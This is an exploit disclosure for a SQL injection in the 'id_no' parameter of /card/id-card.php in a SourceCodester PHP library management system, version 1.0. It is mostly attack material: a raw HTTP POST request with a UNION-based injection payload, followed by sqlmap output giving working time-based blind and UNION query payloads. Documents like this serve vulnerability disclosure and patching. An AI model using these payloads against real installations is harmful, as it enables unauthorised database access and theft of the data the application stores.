Library Management System with QR code Attendance and Auto Generate Library Card - SQL injections

Date: 2022-08/05

Exploit Author: anx0ing@gmail.com

Vendor Homepage:

https://www.sourcecodester.com

Software Link:

https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html

Version: 1.0

/card/id-card.php

> `id_no` Parameters have SQL injection

SQL injection POC

```
POST /LMS/card/id-card.php HTTP/1.1
Host: 172.20.10.14
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 112
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap
exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=8l03mutpmr44pg0gv96afbujmn
Origin: http://172.20.10.14
Referer: http://172.20.10.14/LMS/card/id-card.php
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

id_no=' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b707171,0x686a467041767a434
```

SQLMAP Test

```
sqlmap identified the following injection point(s) with a total of 1734 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id_no=' AND (SELECT 6990 FROM (SELECT(SLEEP(5)))onQd)-- RoeQ&search=

    Type: UNION query
    Title: MySQL UNION query (NULL) - 11 columns
    Payload: id_no=' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b707171,0x686a467041767a4
34e5574435a4463484375627550597071417 36f7047694178686e787163596d6e,0x717a6a7a71),NULL#&search=
---
[23:21:59] [INFO] the back-end DBMS is MySQL
[23:21:59] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch
 '--hex'
web application technology: PHP 7.4.3, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
```